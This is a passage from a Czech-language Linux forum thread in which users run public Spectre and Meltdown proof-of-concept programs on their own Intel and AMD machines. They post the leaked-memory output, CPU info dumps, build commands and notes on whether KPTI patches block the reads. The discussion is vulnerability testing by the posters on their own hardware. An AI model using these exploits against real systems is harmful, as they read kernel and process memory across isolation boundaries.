    Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
    Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2 
    Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2 
    Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=33 (second best: 0x05 score=14)
    Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2 
    Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
    Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2 
    Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
    Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2 
    Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2 
    Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
    Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=7 (second best: 0xAE score=1)
    Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
    Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2 
    Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2 
    Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2 
    Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=7 (second best: 0x05 score=1)
    
    i5-6600K, Linux Thora 4.14.11-300.fc27.x86_64 #1 SMP Wed Jan 3 13:52:28 UTC 2018

    S cache hit prahem 27, jinak je skóre hrozně vysoké.
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=15 (second best: 0x00 score=6)
    Reading at malicious_x = 0xffffffffffdffac1... Success: 0x00=’?’ score=1 
    Reading at malicious_x = 0xffffffffffdffac2... Success: 0x00=’?’ score=1 
    Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
    Reading at malicious_x = 0xffffffffffdffac5... Unclear: 0x61=’a’ score=16 (second best: 0x62 score=13)
    Reading at malicious_x = 0xffffffffffdffac6... Unclear: 0x67=’g’ score=12 (second best: 0x00 score=10)
    Reading at malicious_x = 0xffffffffffdffac7... Unclear: 0x69=’i’ score=15 (second best: 0x6A score=9)
    Reading at malicious_x = 0xffffffffffdffac8... Unclear: 0x63=’c’ score=11 (second best: 0x00 score=11)
    Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=15 (second best: 0x00 score=4)
    Reading at malicious_x = 0xffffffffffdffaca... Unclear: 0x57=’W’ score=12 (second best: 0x00 score=11)
    Reading at malicious_x = 0xffffffffffdffacb... Unclear: 0x6F=’o’ score=13 (second best: 0x00 score=11)
    Reading at malicious_x = 0xffffffffffdffacc... Unclear: 0x72=’r’ score=9 (second best: 0x05 score=8)
    Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=14 (second best: 0x05 score=7)
    Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=14 (second best: 0x05 score=7)
    Reading at malicious_x = 0xffffffffffdffacf... Unclear: 0x20=’ ’ score=14 (second best: 0x00 score=15)
    Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=16 (second best: 0x62 score=8)
    Reading at malicious_x = 0xffffffffffdffad1... Unclear: 0x72=’r’ score=13 (second best: 0x05 score=8)
    Reading at malicious_x = 0xffffffffffdffad2... Unclear: 0x65=’e’ score=13 (second best: 0x00 score=7)
    Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=17 (second best: 0x00 score=4)
    Reading at malicious_x = 0xffffffffffdffad4... Unclear: 0x53=’S’ score=12 (second best: 0x05 score=7)
    Reading at malicious_x = 0xffffffffffdffad5... Unclear: 0x00=’?’ score=12 (second best: 0x71 score=14)
    Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=9 (second best: 0x05 score=2)
    Reading at malicious_x = 0xffffffffffdffad7... Unclear: 0x05=’?’ score=11 (second best: 0x65 score=10)
    Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
    Reading at malicious_x = 0xffffffffffdffad9... Unclear: 0x6D=’m’ score=11 (second best: 0x00 score=11)
    Reading at malicious_x = 0xffffffffffdffada... Unclear: 0x69=’i’ score=12 (second best: 0x6A score=8)
    Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
    Reading at malicious_x = 0xffffffffffdffadc... Success: 0x00=’?’ score=1 
    Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
    Reading at malicious_x = 0xffffffffffdffade... Unclear: 0x4F=’O’ score=12 (second best: 0x05 score=11)
    Reading at malicious_x = 0xffffffffffdffadf... Unclear: 0x73=’s’ score=10 (second best: 0x05 score=8)
    Reading at malicious_x = 0xffffffffffdffae0... Unclear: 0x73=’s’ score=10 (second best: 0x00 score=11)
    Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=21 (second best: 0x05 score=8)
    Reading at malicious_x = 0xffffffffffdffae2... Unclear: 0x66=’f’ score=12 (second best: 0x05 score=12)
    Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=18 (second best: 0x00 score=4)
    Reading at malicious_x = 0xffffffffffdffae4... Unclear: 0x61=’a’ score=16 (second best: 0x05 score=9)
    Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
    Reading at malicious_x = 0xffffffffffdffae6... Unclear: 0x65=’e’ score=11 (second best: 0x05 score=6)
    Reading at malicious_x = 0xffffffffffdffae7... Unclear: 0x2E=’.’ score=16 (second best: 0x00 score=10)
    
    Wedos VPS, Linux Broken.devoid-pointer.net 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdff8c8... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8c9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8ca... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8cb... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8cc... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8cd... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8ce... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8cf... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d0... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d1... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8d2... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d3... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8d4... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8d5... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d6... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d7... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8d8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8d9... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8da... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8db... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8dc... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8dd... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8de... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8df... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8e0... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8e1... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8e2... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8e3... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8e4... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8e5... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8e6... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8e7... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff8e8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8e9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8ea... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8eb... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8ec... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8ed... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff8ee... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff8ef... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
    
    6.1. 21:17 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Je tu taky někdo komu ten program (s tou starou instrukcí rdtsc) jede jen pokud je zkompilovanej ve 32bit a na 64bit nic nenajde?
    7.1. 10:11 janc1c1
    Rozbalit Rozbalit vše meltdown
    tak som skúsil ten test na meltdown.

    #1 stiahol som s githubu ten program #2 spustil make #3 run.sh
    looking for linux_proc_banner in /proc/kallsyms
    cached = 21, uncached = 227, threshold 69
    read ffffffff98c00060 = ff  
    read ffffffff98c00061 = ff  
    read ffffffff98c00062 = ff  
    read ffffffff98c00063 = ff  
    read ffffffff98c00064 = ff  
    read ffffffff98c00065 = ff  
    read ffffffff98c00066 = ff  
    read ffffffff98c00067 = ff  
    read ffffffff98c00068 = ff  
    read ffffffff98c00069 = ff  
    read ffffffff98c0006a = ff  
    read ffffffff98c0006b = ff  
    read ffffffff98c0006c = ff  
    read ffffffff98c0006d = ff  
    read ffffffff98c0006e = ff  
    read ffffffff98c0006f = ff  
    NOT VULNERABLE
    aha, už asi mám ten patch, používam archlinux ... dopad záplaty kernelu KPTI

    cpu vypisuje bugs: cpu_insecure
    processor	: 7
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 70
    model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
    stepping	: 1
    microcode	: 0x17
    cpu MHz		: 2194.956
    cache size	: 6144 KB
    physical id	: 0
    siblings	: 8
    core id		: 3
    cpu cores	: 4
    apicid		: 7
    initial apicid	: 7
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt dtherm ida arat pln pts
    bugs		: cpu_insecure
    bogomips	: 4391.82
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 39 bits physical, 48 bits virtual
    power management:
    tak som restartol s parametrom nopti pre kernel, a je to jasne
    looking for linux_proc_banner in /proc/kallsyms
    cached = 23, uncached = 202, threshold 68
    read ffffffffbcc00060 = 25 %
    read ffffffffbcc00061 = 73 s
    read ffffffffbcc00062 = 20  
    read ffffffffbcc00063 = 76 v
    read ffffffffbcc00064 = 65 e
    read ffffffffbcc00065 = 72 r
    read ffffffffbcc00066 = 73 s
    read ffffffffbcc00067 = 69 i
    read ffffffffbcc00068 = 6f o
    read ffffffffbcc00069 = 6e n
    read ffffffffbcc0006a = 20  
    read ffffffffbcc0006b = 25 %
    read ffffffffbcc0006c = 73 s
    read ffffffffbcc0006d = 20  
    read ffffffffbcc0006e = 28 (
    read ffffffffbcc0006f = 62 b
    VULNERABLE
    VULNERABLE ON
    4.14.11-1-ARCH #1 SMP PREEMPT Wed Jan 3 07:02:42 UTC 2018 unknown
    processor	: 0
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 70
    model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
    stepping	: 1
    microcode	: 0x17
    cpu MHz		: 2195.070
    cache size	: 6144 KB
    physical id	: 0
    7.1. 14:23 marbu | skóre: 29 | blog: hromada | Brno
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Na procesoru Intel Atom z roku 2012 podle očekávání spectre nefunguje :)
    processor       : 0
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 28
    model name      : Intel(R) Atom(TM) CPU N570   @ 1.66GHz
    stepping        : 10
    microcode       : 0x107
    cpu MHz         : 1334.000
    cache size      : 512 KB
    physical id     : 0
    siblings        : 4
    core id         : 0
    cpu cores       : 2
    apicid          : 0
    initial apicid  : 0
    fpu             : yes
    fpu_exception   : yes
    cpuid level     : 10
    wp              : yes
    flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
    pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm
    constant_tsc arch_perfmon pebs bts nopl cpuid aperfmperf pni dtes64 monitor
    ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm movbe lahf_lm tpr_shadow vnmi
    flexpriority dtherm
    bugs            :
    bogomips        : 3324.95
    clflush size    : 64
    cache_alignment : 64
    address sizes   : 36 bits physical, 48 bits virtual
    power management:
    $ make
    gcc -march=native -std=c99 -O0 spectre.c -o spectre
    spectre.c: In function ‘main’:
    spectre.c:136:51: warning: pointer/integer type mismatch in conditional
    expression
           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
    
    $ ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdffad0... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad1... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad2... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad3... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad4... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad5... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad6... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad7... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad8... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffad9... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffada... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffadb... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffadc... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffadd... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffade... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffadf... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae0... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae1... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae2... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae3... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae4... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae5... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae6... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae7... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae8... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffae9... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaea... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaeb... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaec... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaed... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaee... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaef... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf0... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf1... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf2... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf3... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf4... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf5... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf6... Success: 0xFF=’ score=0
    Reading at malicious_x = 0xffffffffffdffaf7... Success: 0xFF=’ score=0
    Patch z komentáře #8 způsobí core dump (chybějící rdtscp).
    I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
    7.1. 15:31 marbu | skóre: 29 | blog: hromada | Brno
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Stejně tak i meltdown (reproducer z github.com/paboldin/meltdown-exploit):
    
    $ make CFLAGS='-DHAVE_RDTSCP=0' clean all
    rm -f meltdown.o meltdown
    cc -DHAVE_RDTSCP=0   -c -o meltdown.o meltdown.c
    cc   meltdown.o   -o meltdown
    $ ./run.sh 
    looking for linux_proc_banner in /proc/kallsyms
    cached = 39, uncached = 200, threshold 88
    read ffffffffaba000a0 = ff  
    read ffffffffaba000a1 = ff  
    read ffffffffaba000a2 = ff  
    read ffffffffaba000a3 = ff  
    read ffffffffaba000a4 = ff  
    read ffffffffaba000a5 = ff  
    read ffffffffaba000a6 = ff  
    read ffffffffaba000a7 = ff  
    read ffffffffaba000a8 = ff  
    read ffffffffaba000a9 = ff  
    read ffffffffaba000aa = ff  
    read ffffffffaba000ab = ff  
    read ffffffffaba000ac = ff  
    read ffffffffaba000ad = ff  
    read ffffffffaba000ae = ff  
    read ffffffffaba000af = ff  
    NOT VULNERABLE
    
    I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
    8.1. 00:24 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Ještě, jestli máš compat32, tak můžeš zkusit spectre zkompilovat do 32bit. Mě to čte RAM jen jako 32bit binárka.
    Grunt avatar 7.1. 22:19 Grunt | skóre: 23 | blog: Expresivní zabručení | Lanžhot
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Co to zas je? Neříkejte mi že v nějakém Pentiu je zas další bug. Protože to by bylo překvapení, skutečně…
    Na co 64-bitů když to jde i s jedním? | 80.78.148.5 | Hack (for) free or Die Hard!
    7.1. 23:17 marbu | skóre: 29 | blog: hromada | Brno
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Kdyby tak byl ten Pentium FDIV bug poslední vážný problém Intel procesorů ... :-)
    I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
    Mark Stopka avatar 7.1. 23:29 Mark Stopka | skóre: 57 | blog: Paranoidní blog | European Economic Area
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Právě že to byl pro řadu Pentium první, ne? :)
    8.1. 00:26 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    FDIV je proti tomuhle jen drobná nepřesnost :-D. Ale je vtipný, že to bylo způsobený taky špatnou verifikací modelu (špatné hodnoty v některých položkách tabulky, co ten FDIV měla urychlovat).
    8.1. 23:31 R
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Rozdiel je v tom, ze Intel tie chybne procesory vtedy zakaznikom menil v zaruke za bezchybne.
    8.1. 23:59 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Poté, co k tomu byl dokopán - zezačátku měnili jenom v případě, že uznali, že zákazník "potřebuje" přesné výpočty v plovoucí řádové čárce.
    Quando omni flunkus moritati
    10.1. 05:24 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
    Ďalej vyšiel Vulnerability Online Check Tool ktorý testuje zranitelnosť browsera:
    Mě to rovnou napíše že invulnerable. To je naprd (nejspíš testuje verzi FF, to žě to verze tvrdí ještě neznamená že to nejde :-D), takhle nemůžu testovat různé konfigurace.

    BTW by byla legrace kdyby to byl fake a ten web jen sbíral statistiku :P .

    Jinak HP 255 G5 (AMD APU). Varianta s rdtscp. Na defaultní hodnotu to hodí tak každý 4 písmeno. Po zvýšení thresholdu na 100 vypiše.
    processor	: 0
    vendor_id	: AuthenticAMD
    cpu family	: 22
    model		: 48
    model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
    stepping	: 1
    microcode	: 0x7030105
    cpu MHz		: 1350.000
    cache size	: 2048 KB
    physical id	: 0
    siblings	: 4
    core id		: 0
    cpu cores	: 4
    apicid		: 0
    initial apicid	: 0
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3593.41
    TLB size	: 1024 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 40 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]
    
    processor	: 1
    vendor_id	: AuthenticAMD
    cpu family	: 22
    model		: 48
    model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
    stepping	: 1
    microcode	: 0x7030105
    cpu MHz		: 1800.000
    cache size	: 2048 KB
    physical id	: 0
    siblings	: 4
    core id		: 1
    cpu cores	: 4
    apicid		: 1
    initial apicid	: 1
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3593.41
    TLB size	: 1024 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 40 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]
    
    processor	: 2
    vendor_id	: AuthenticAMD
    cpu family	: 22
    model		: 48
    model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
    stepping	: 1
    microcode	: 0x7030105
    cpu MHz		: 1350.000
    cache size	: 2048 KB
    physical id	: 0
    siblings	: 4
    core id		: 2
    cpu cores	: 4
    apicid		: 2
    initial apicid	: 2
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3593.41
    TLB size	: 1024 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 40 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]
    
    processor	: 3
    vendor_id	: AuthenticAMD
    cpu family	: 22
    model		: 48
    model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
    stepping	: 1
    microcode	: 0x7030105
    cpu MHz		: 1200.000
    cache size	: 2048 KB
    physical id	: 0
    siblings	: 4
    core id		: 3
    cpu cores	: 4
    apicid		: 3
    initial apicid	: 3
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
